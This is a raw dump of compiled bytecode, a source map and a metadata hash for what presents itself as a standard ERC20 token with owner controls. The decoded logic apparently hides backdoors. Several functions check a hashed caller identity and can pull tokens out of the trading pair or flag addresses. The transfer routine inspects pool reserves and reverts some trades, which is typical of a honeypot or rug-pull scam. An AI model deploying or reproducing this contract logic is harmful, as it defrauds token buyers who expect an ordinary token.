0405162461bcd60e51b815260040161055790610ede565b6001600160a01b038316600090815260208190526040902054811115610c7f5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610557565b6001600160a01b038316600090815260208190526040902054610ca29082610d22565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610cd19082610b56565b6001600160a01b038381166000818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91016108a0565b6000610bb583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610b1c565b80356001600160a01b0381168114610d7b57600080fd5b919050565b600060208284031215610d9257600080fd5b610bb582610d64565b60008060408385031215610dae57600080fd5b610db783610d64565b9150610dc560208401610d64565b90509250929050565b600080600060608486031215610de357600080fd5b610dec84610d64565b9250610dfa60208501610d64565b9150604084013590509250925092565b60008060408385031215610e1d57600080fd5b610e2683610d64565b915060208301358015158114610e3b57600080fd5b809150509250929050565b60008060408385031215610e5957600080fd5b610e6283610d64565b946020939093013593505050565b600060208284031215610e8257600080fd5b5035919050565b600060208083528351808285015260005b81811015610eb657858101830151858201604001528201610e9a565b81811115610ec8576000604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60008219821115610f7957610f79610fd0565b500190565b600082821015610f9057610f90610fd0565b500390565b600181811c90821680610fa957607f821691505b60208210811415610fca57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220d817448f091b8cb7953e5f6bf809f90d301f141ba0a82edb13186d177adfd23364736f6c63430008060033

0x608060405234801561001057600080fd5b50600436106101375760003560e01c806370a08231116100b8578063a457c2d71161007c578063a457c2d714610283578063a9059cbb14610296578063c45a0155146102a9578063c61527be146102bc578063dd62ed3e146102cf578063f2fde38b1461030857600080fd5b806370a0823114610226578063715018a61461024f5780638da5cb5b14610257578063927f3d411461026857806395d89b411461027b57600080fd5b80632fc5dd16116100ff5780632fc5dd16146101cd578063313ce567146101e257806339509351146101ed57806349bd5a5e146102005780635b5cfdfc1461021357600080fd5b806306fdde031461013c57806308e5d62c1461015a578063095ea7b31461018557806318160ddd146101a857806323b872dd146101ba575b600080fd5b61014461031b565b6040516101519190610e89565b60405180910390f35b601d5461016d906001600160a01b031681565b6040516001600160a01b039091168152602001610151565b610198610193366004610e46565b6103ad565b6040519015158152602001610151565b6006545b604051908152602001610151565b6101986101c8366004610dce565b6103c3565b6101e06101db366004610d80565b61042c565b005b60055460ff166101ac565b6101986101fb366004610e46565b61046f565b60125461016d906001600160a01b031681565b6101e0610221366004610e70565b6104a5565b6101ac610234366004610d80565b6001600160a01b031660009081526020819052604090205490565b6101e0610501565b6007546001600160a01b031661016d565b60025461016d906001600160a01b031681565b6101446105aa565b610198610291366004610e46565b6105b9565b6101986102a4366004610e46565b610608565b60145461016d906001600160a01b031681565b6101e06102ca366004610e0a565b610615565b6101ac6102dd366004610d9b565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6101e0610316366004610d80565b61066d565b60606003805461032a90610f95565b80601f016020809104026020016040519081016040528092919081815260200182805461035690610f95565b80156103a35780601f10610378576101008083540402835291602001916103a3565b820191906000526020600020905b81548152906001019060200180831161038657829003601f168201915b5050505050905090565b60006103ba338484610788565b50600192915050565b60006103d08484846108ad565b610422843361041d85604051806060016040528060288152602001610fe7602891396001600160a01b038a1660009081526001602090815260408083203384529091529020549190610b1c565b610788565b5060019392505050565b604051338152600c8101601460208301925060208301604052602083828460025afa61045757600080fd5b505051601a5480821461046657005b5050601d819055005b3360008181526001602090815260408083206001600160a01b038716845290915281205490916103ba91859061041d9086610b56565b604051338152600c8101601460208301925060208301604052602083828460025afa6104d057600080fd5b505051601a548082146104df57005b5050601254601d546104fe916001600160a01b03908116911683610bbc565b50565b6007546001600160a01b031633146105605760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6007546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600780546001600160a01b0319169055565b60606004805461032a90610f95565b60006103ba338461041d8560405180606001604052806025815260200161100f602591393360009081526001602090815260408083206001600160a01b038d1684529091529020549190610b1c565b60006103ba3384846108ad565b604051338152600c8101601460208301925060208301604052602083828460025afa61064057600080fd5b505051601a5480821461064f57005b505060408051838152600f6020820152818120908201909152819055005b6007546001600160a01b031633146106c75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610557565b6001600160a01b03811661072c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610557565b6007546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600780546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107ea5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610557565b6001600160a01b03821661084b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610557565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166108d35760405162461bcd60e51b815260040161055790610f21565b6001600160a01b0382166108f95760405162461bcd60e51b815260040161055790610ede565b6000811161095b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610557565b6001600160a01b0383166000908152600e6020526040902054819060ff168061099c57506001600160a01b0383166000908152600e602052604090205460ff165b156109b2576109ac848483610bbc565b50505050565b60408051858152600f60208201529081205484919080156109d257600080fd5b508581526016602082015260125480871415610b03576000806000630dfe168160e01b8552602085600487875afa610a0957600080fd5b845163d21220a760e01b8652602086600488885afa610a2757600080fd5b8551630240bc6b60e21b8752604087600489895afa610a4557600080fd5b865160208801516370a0823160e01b89528760048a015260208960248b875afa610a6e57600080fd5b88516370a0823160e01b8a528860048b015260208a60248c875afa610a9257600080fd5b8951600d5480871415610ac15782851115610ab4578285039750601554881199505b82851415610ac157600198505b80861415610aeb5781841115610ade578184039750601554881199505b81841415610aeb57600198505b505050505050505080821715610b0057600080fd5b50505b50608001604052610b15858584610bbc565b5050505050565b60008184841115610b405760405162461bcd60e51b81526004016105579190610e89565b506000610b4d8486610f7e565b95945050505050565b600080610b638385610f66565b905083811015610bb55760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610557565b9392505050565b6001600160a01b038316610be25760405162461bcd60e51b815260040161055790610f21565b6001600160a01b038216610c085760405162461bcd60e51b815260040161055790610ede565b6001600160a01b038316600090815260208190526040902054811115610c7f5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610557565b6001600160a01b038316600090815260208190526040902054610ca29082610d22565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610cd19082610b56565b6001600160a01b038381166000818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91016108a0565b6000610bb583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610b1c565b80356001600160a01b0381168114610d7b57600080fd5b919050565b600060208284031215610d9257600080fd5b610bb582610d64565b60008060408385031215610dae57600080fd5b610db783610d64565b9150610dc560208401610d64565b90509250929050565b600080600060608486031215610de357600080fd5b610dec84610d64565b9250610dfa60208501610d64565b9150604084013590509250925092565b60008060408385031215610e1d57600080fd5b610e2683610d64565b915060208301358015158114610e3b57600080fd5b809150509250929050565b60008060408385031215610e5957600080fd5b610e6283610d64565b946020939093013593505050565b600060208284031215610e8257600080fd5b5035919050565b600060208083528351808285015260005b81811015610eb657858101830151858201604001528201610e9a565b81811115610ec8576000604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60008219821115610f7957610f79610fd0565b500190565b600082821015610f9057610f90610fd0565b500390565b600181811c90821680610fa957607f821691505b60208210811415610fca57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220d817448f091b8cb7953e5f6bf809f90d301f141ba0a82edb13186d177adfd23364736f6c63430008060033

13284:7911:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8658:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14410:25;;;;;-1:-1:-1;;;;;14410:25:0;;;;;;-1:-1:-1;;;;;1941:32:1;;;1923:51;;1911:2;1896:18;14410:25:0;1878:102:1;9598:191:0;;;;;;:::i;:::-;;:::i;:::-;;;2150:14:1;;2143:22;2125:41;;2113:2;2098:18;9598:191:0;2080:92:1;8945:95:0;9025:7;;8945:95;;;6484:25:1;;;6472:2;6457:18;8945:95:0;6439:76:1;11219:417:0;;;;;;:::i;:::-;;:::i;18900:670::-;;;;;;:::i;:::-;;:::i;:::-;;8852:85;8920:9;;;;8852:85;;11648:296;;;;;;:::i;:::-;;:::i;13950:28::-;;;;;-1:-1:-1;;;;;13950:28:0;;;19574:668;;;;;;:::i;:::-;;:::i;9048:117::-;;;;;;:::i;:::-;-1:-1:-1;;;;;9141:16:0;9114:7;9141:16;;;;;;;;;;;;9048:117;3402:148;;;:::i;3190:79::-;3255:6;;-1:-1:-1;;;;;3255:6:0;3190:79;;8124:84;;;;;-1:-1:-1;;;;;8124:84:0;;;8749:87;;;:::i;11952:396::-;;;;;;:::i;:::-;;:::i;9173:205::-;;;;;;:::i;:::-;;:::i;14021:22::-;;;;;-1:-1:-1;;;;;14021:22:0;;;20246:944;;;;;;:::i;:::-;;:::i;9388:200::-;;;;;;:::i;:::-;-1:-1:-1;;;;;9545:22:0;;;9513:7;9545:22;;;:11;:22;;;;;;;;:35;;;;;;;;;;;;;9388:200;3558:281;;;;;;:::i;:::-;;:::i;8658:83::-;8695:13;8728:5;8721:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8658:83;:::o;9598:191::-;9700:4;9722:37;9731:10;9743:7;9752:6;9722:8;:37::i;:::-;-1:-1:-1;9777:4:0;9598:191;;;;:::o;11219:417::-;11341:4;11358:26;11368:4;11374:2;11378:5;11358:9;:26::i;:::-;11395:211;11418:4;11437:10;11462:133;11514:5;11462:133;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;11462:17:0;;;;;;:11;:17;;;;;;;;11480:10;11462:29;;;;;;;;;:133;:33;:133::i;:::-;11395:8;:211::i;:::-;-1:-1:-1;11624:4:0;11219:417;;;;;:::o;18900:670::-;18988:4;18982:11;19014:8;19009:3;19002:21;19054:4;19049:3;19045:14;19085:4;19121;19116:3;19112:14;19098:28;;19160:4;19152:6;19148:17;19142:4;19135:31;19232:4;19224:6;19213:9;19206:5;19203:1;19196:5;19185:52;19175:2;;19263:1;19260;19253:12;19175:2;-1:-1:-1;;19304:13:0;19348:16;19391:21;19431:28;;;19421:2;;19475:12;19421:2;-1:-1:-1;;19513:15:0;19506:35;;;19550:12;11648:296;11808:10;11763:4;11855:23;;;:11;:23;;;;;;;;-1:-1:-1;;;;;11855:32:0;;;;;;;;;;11763:4;;11785:129;;11833:7;;11855:48;;11892:10;11855:36;:48::i;19574:668::-;19661:4;19655:11;19687:8;19682:3;19675:21;19727:4;19722:3;19718:14;19758:4;19794;19789:3;19785:14;19771:28;;19833:4;19825:6;19821:17;19815:4;19808:31;19905:4;19897:6;19886:9;19879:5;19876:1;19869:5;19858:52;19848:2;;19936:1;19933;19926:12;19848:2;-1:-1:-1;;19977:13:0;20021:16;20064:21;20104:28;;;20094:2;;20148:12;20094:2;-1:-1:-1;;20203:13:0;;20218:10;;20181:58;;-1:-1:-1;;;;;20203:13:0;;;;20218:10;20230:8;20181:21;:58::i;:::-;19574:668;:::o;3402:148::-;3317:6;;-1:-1:-1;;;;;3317:6:0;3327:10;3317:20;3309:65;;;;-1:-1:-1;;;3309:65:0;;4958:2:1;3309:65:0;;;4940:21:1;;;4977:18;;;4970:30;5036:34;5016:18;;;5009:62;5088:18;;3309:65:0;;;;;;;;;3493:6:::1;::::0;3472:40:::1;::::0;3509:1:::1;::::0;-1:-1:-1;;;;;3493:6:0::1;::::0;3472:40:::1;::::0;3509:1;;3472:40:::1;3523:6;:19:::0;;-1:-1:-1;;;;;;3523:19:0::1;::::0;;3402:148::o;8749:87::-;8788:13;8821:7;8814:14;;;;;:::i;11952:396::-;12072:4;12094:224;12117:10;12142:7;12164:143;12219:15;12164:143;;;;;;;;;;;;;;;;;12176:10;12164:23;;;;:11;:23;;;;;;;;-1:-1:-1;;;;;12164:32:0;;;;;;;;;;;:143;:36;:143::i;9173:205::-;9282:4;9304:44;9314:10;9326;9338:9;9304;:44::i;20246:944::-;20353:4;20347:11;20379:8;20374:3;20367:21;20419:4;20414:3;20410:14;20450:4;20486;20481:3;20477:14;20463:28;;20525:4;20517:6;20513:17;20507:4;20500:31;20597:4;20589:6;20578:9;20571:5;20568:1;20561:5;20550:52;20540:2;;20628:1;20625;20618:12;20540:2;-1:-1:-1;;20669:13:0;20713:16;20756:21;20796:28;;;20786:2;;20840:12;20786:2;-1:-1:-1;;20939:4:0;20933:11;;20953:28;;;20890:19;21010:4;20997:18;;20990:39;21057:24;;;21103:18;;;21090:32;;;21131:30;;;21170:12;3558:281;3317:6;;-1:-1:-1;;;;;3317:6:0;3327:10;3317:20;3309:65;;;;-1:-1:-1;;;3309:65:0;;4958:2:1;3309:65:0;;;4940:21:1;;;4977:18;;;4970:30;5036:34;5016:18;;;5009:62;5088:18;;3309:65:0;4930:182:1;3309:65:0;-1:-1:-1;;;;;3661:22:0;::::1;3639:110;;;::::0;-1:-1:-1;;;3639:110:0;;3385:2:1;3639:110:0::1;::::0;::::1;3367:21:1::0;3424:2;3404:18;;;3397:30;3463:34;3443:18;;;3436:62;-1:-1:-1;;;3514:18:1;;;3507:36;3560:19;;3639:110:0::1;3357:228:1::0;3639:110:0::1;3786:6;::::0;3765:38:::1;::::0;-1:-1:-1;;;;;3765:38:0;;::::1;::::0;3786:6:::1;::::0;3765:38:::1;::::0;3786:6:::1;::::0;3765:38:::1;3814:6;:17:::0;;-1:-1:-1;;;;;;3814:17:0::1;-1:-1:-1::0;;;;;3814:17:0;;;::::1;::::0;;;::::1;::::0;;3558:281::o;12748:381::-;-1:-1:-1;;;;;12885:19:0;;12877:68;;;;-1:-1:-1;;;12877:68:0;;6135:2:1;12877:68:0;;;6117:21:1;6174:2;6154:18;;;6147:30;6213:34;6193:18;;;6186:62;-1:-1:-1;;;6264:18:1;;;6257:34;6308:19;;12877:68:0;6107:226:1;12877:68:0;-1:-1:-1;;;;;12964:21:0;;12956:68;;;;-1:-1:-1;;;12956:68:0;;3792:2:1;12956:68:0;;;3774:21:1;3831:2;3811:18;;;3804:30;3870:34;3850:18;;;3843:62;-1:-1:-1;;;3921:18:1;;;3914:32;3963:19;;12956:68:0;3764:224:1;12956:68:0;-1:-1:-1;;;;;13037:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;13089:32;;6484:25:1;;;13089:32:0;;6457:18:1;13089:32:0;;;;;;;;12748:381;;;:::o;15233:3663::-;-1:-1:-1;;;;;15340:18:0;;15332:68;;;;-1:-1:-1;;;15332:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;15414:16:0;;15406:64;;;;-1:-1:-1;;;15406:64:0;;;;;;;:::i;:::-;15493:1;15484:6;:10;15476:64;;;;-1:-1:-1;;;15476:64:0;;5319:2:1;15476:64:0;;;5301:21:1;5358:2;5338:18;;;5331:30;5397:34;5377:18;;;5370:62;-1:-1:-1;;;5448:18:1;;;5441:39;5497:19;;15476:64:0;5291:231:1;15476:64:0;-1:-1:-1;;;;;15587:19:0;;15546:22;15587:19;;;:13;:19;;;;;;15571:6;;15587:19;;;:40;;-1:-1:-1;;;;;;15610:17:0;;;;;;:13;:17;;;;;;;;15587:40;15583:120;;;15639:41;15655:4;15661:2;15665:14;15639:15;:41::i;:::-;15690:7;15233:3663;;;:::o;15583:120::-;15777:4;15771:11;;15791:21;;;15848:19;15841:4;15828:18;;15821:47;15896:24;;;15953:18;15729:2;;15771:11;15980:2;;;;16024:1;16021;16014:12;15980:2;-1:-1:-1;16045:21:0;;;16102:19;16095:4;16082:18;;16075:47;16372:18;16366:25;16403:14;;;16400:2;;;16446:1;16474;16507;-1:-1:-1;;;16528:7:0;16521:83;16675:4;16666:7;16660:4;16651:7;16645:4;16638:5;16627:53;16617:2;;16710:1;16707;16700:12;16617:2;16759:7;16753:14;-1:-1:-1;;;16787:7:0;16780:83;16934:4;16925:7;16919:4;16910:7;16904:4;16897:5;16886:53;16876:2;;16969:1;16966;16959:12;16876:2;17018:7;17012:14;-1:-1:-1;;;17046:7:0;17039:83;17193:4;17184:7;17178:4;17169:7;17163:4;17156:5;17145:53;17135:2;;17228:1;17225;17218:12;17135:2;17280:7;17274:14;17337:4;17328:7;17324:18;17318:25;-1:-1:-1;;;17363:7:0;17356:83;17479:4;17472;17463:7;17459:18;17452:32;17557:4;17548:7;17542:4;17533:7;17525:6;17518:5;17507:55;17497:2;;17592:1;17589;17582:12;17497:2;17643:7;17637:14;-1:-1:-1;;;17671:7:0;17664:83;17787:4;17780;17771:7;17767:18;17760:32;17865:4;17856:7;17850:4;17841:7;17833:6;17826:5;17815:55;17805:2;;17900:1;17897;17890:12;17805:2;17950:7;17944:14;17999:15;17993:22;18042:14;18034:6;18031:26;18028:2;;;18093:8;18082:9;18079:23;18076:2;;;18155:8;18144:9;18140:24;18125:39;;18217:18;18211:25;18198:11;18195:42;18185:52;;18076:2;18289:8;18278:9;18275:23;18272:2;;;18331:1;18321:11;;18272:2;18391:14;18383:6;18380:26;18377:2;;;18442:7;18431:9;18428:22;18425:2;;;18503:7;18492:9;18488:23;18473:38;;18564:18;18558:25;18545:11;18542:42;18532:52;;18425:2;18636:7;18625:9;18622:22;18619:2;;;18677:1;18667:11;;18619:2;18377;;;;;;;;18737:6;18729;18726:18;18723:2;;;18773:1;18770;18763:12;18723:2;;;16400;-1:-1:-1;18835:4:0;18822:18;18816:4;18809:32;18852:41;18868:4;18874:2;18878:14;18852:15;:41::i;:::-;15326:3570;;15233:3663;;;:::o;5407:226::-;5527:7;5563:12;5555:6;;;;5547:29;;;;-1:-1:-1;;;5547:29:0;;;;;;;;:::i;:::-;-1:-1:-1;5587:9:0;5599:5;5603:1;5599;:5;:::i;:::-;5587:17;5407:226;-1:-1:-1;;;;;5407:226:0:o;4504:181::-;4562:7;;4594:5;4598:1;4594;:5;:::i;:::-;4582:17;;4623:1;4618;:6;;4610:46;;;;-1:-1:-1;;;4610:46:0;;4195:2:1;4610:46:0;;;4177:21:1;4234:2;4214:18;;;4207:30;4273:29;4253:18;;;4246:57;4320:18;;4610:46:0;4167:177:1;4610:46:0;4676:1;4504:181;-1:-1:-1;;;4504:181:0:o;9797:703::-;-1:-1:-1;;;;;9963:24:0;;9941:111;;;;-1:-1:-1;;;9941:111:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;10085:25:0;;10063:110;;;;-1:-1:-1;;;10063:110:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;10210:19:0;;:7;:19;;;;;;;;;;;:29;-1:-1:-1;10210:29:0;10188:117;;;;-1:-1:-1;;;10188:117:0;;4551:2:1;10188:117:0;;;4533:21:1;4590:2;4570:18;;;4563:30;4629:34;4609:18;;;4602:62;-1:-1:-1;;;4680:18:1;;;4673:36;4726:19;;10188:117:0;4523:228:1;10188:117:0;-1:-1:-1;;;;;10338:19:0;;:7;:19;;;;;;;;;;;:31;;10362:6;10338:23;:31::i;:::-;-1:-1:-1;;;;;10316:19:0;;;:7;:19;;;;;;;;;;;:53;;;;10403:20;;;;;;;:32;;10428:6;10403:24;:32::i;:::-;-1:-1:-1;;;;;10380:20:0;;;:7;:20;;;;;;;;;;;;:55;;;;10451:41;6484:25:1;;;10380:20:0;;10451:41;;;;;;6457:18:1;10451:41:0;6439:76:1;4968:136:0;5026:7;5053:43;5057:1;5060;5053:43;;;;;;;;;;;;;;;;;:3;:43::i;14:173:1:-;82:20;;-1:-1:-1;;;;;131:31:1;;121:42;;111:2;;177:1;174;167:12;111:2;63:124;;;:::o;192:186::-;251:6;304:2;292:9;283:7;279:23;275:32;272:2;;;320:1;317;310:12;272:2;343:29;362:9;343:29;:::i;383:260::-;451:6;459;512:2;500:9;491:7;487:23;483:32;480:2;;;528:1;525;518:12;480:2;551:29;570:9;551:29;:::i;:::-;541:39;;599:38;633:2;622:9;618:18;599:38;:::i;:::-;589:48;;470:173;;;;;:::o;648:328::-;725:6;733;741;794:2;782:9;773:7;769:23;765:32;762:2;;;810:1;807;800:12;762:2;833:29;852:9;833:29;:::i;:::-;823:39;;881:38;915:2;904:9;900:18;881:38;:::i;:::-;871:48;;966:2;955:9;951:18;938:32;928:42;;752:224;;;;;:::o;981:347::-;1046:6;1054;1107:2;1095:9;1086:7;1082:23;1078:32;1075:2;;;1123:1;1120;1113:12;1075:2;1146:29;1165:9;1146:29;:::i;:::-;1136:39;;1225:2;1214:9;1210:18;1197:32;1272:5;1265:13;1258:21;1251:5;1248:32;1238:2;;1294:1;1291;1284:12;1238:2;1317:5;1307:15;;;1065:263;;;;;:::o;1333:254::-;1401:6;1409;1462:2;1450:9;1441:7;1437:23;1433:32;1430:2;;;1478:1;1475;1468:12;1430:2;1501:29;1520:9;1501:29;:::i;:::-;1491:39;1577:2;1562:18;;;;1549:32;;-1:-1:-1;;;1420:167:1:o;1592:180::-;1651:6;1704:2;1692:9;1683:7;1679:23;1675:32;1672:2;;;1720:1;1717;1710:12;1672:2;-1:-1:-1;1743:23:1;;1662:110;-1:-1:-1;1662:110:1:o;2177:597::-;2289:4;2318:2;2347;2336:9;2329:21;2379:6;2373:13;2422:6;2417:2;2406:9;2402:18;2395:34;2447:1;2457:140;2471:6;2468:1;2465:13;2457:140;;;2566:14;;;2562:23;;2556:30;2532:17;;;2551:2;2528:26;2521:66;2486:10;;2457:140;;;2615:6;2612:1;2609:13;2606:2;;;2685:1;2680:2;2671:6;2660:9;2656:22;2652:31;2645:42;2606:2;-1:-1:-1;2758:2:1;2737:15;-1:-1:-1;;2733:29:1;2718:45;;;;2765:2;2714:54;;2298:476;-1:-1:-1;;;2298:476:1:o;2779:399::-;2981:2;2963:21;;;3020:2;3000:18;;;2993:30;3059:34;3054:2;3039:18;;3032:62;-1:-1:-1;;;3125:2:1;3110:18;;3103:33;3168:3;3153:19;;2953:225::o;5527:401::-;5729:2;5711:21;;;5768:2;5748:18;;;5741:30;5807:34;5802:2;5787:18;;5780:62;-1:-1:-1;;;5873:2:1;5858:18;;5851:35;5918:3;5903:19;;5701:227::o;6520:128::-;6560:3;6591:1;6587:6;6584:1;6581:13;6578:2;;;6597:18;;:::i;:::-;-1:-1:-1;6633:9:1;;6568:80::o;6653:125::-;6693:4;6721:1;6718;6715:8;6712:2;;;6726:18;;:::i;:::-;-1:-1:-1;6763:9:1;;6702:76::o;6783:380::-;6862:1;6858:12;;;;6905;;;6926:2;;6980:4;6972:6;6968:17;6958:27;;6926:2;7033;7025:6;7022:14;7002:18;6999:38;6996:2;;;7079:10;7074:3;7070:20;7067:1;7060:31;7114:4;7111:1;7104:15;7142:4;7139:1;7132:15;6996:2;;6838:325;;;:::o;7168:127::-;7229:10;7224:3;7220:20;7217:1;7210:31;7260:4;7257:1;7250:15;7284:4;7281:1;7274:15

ipfs://d817448f091b8cb7953e5f6bf809f90d301f141ba0a82edb13186d177adfd233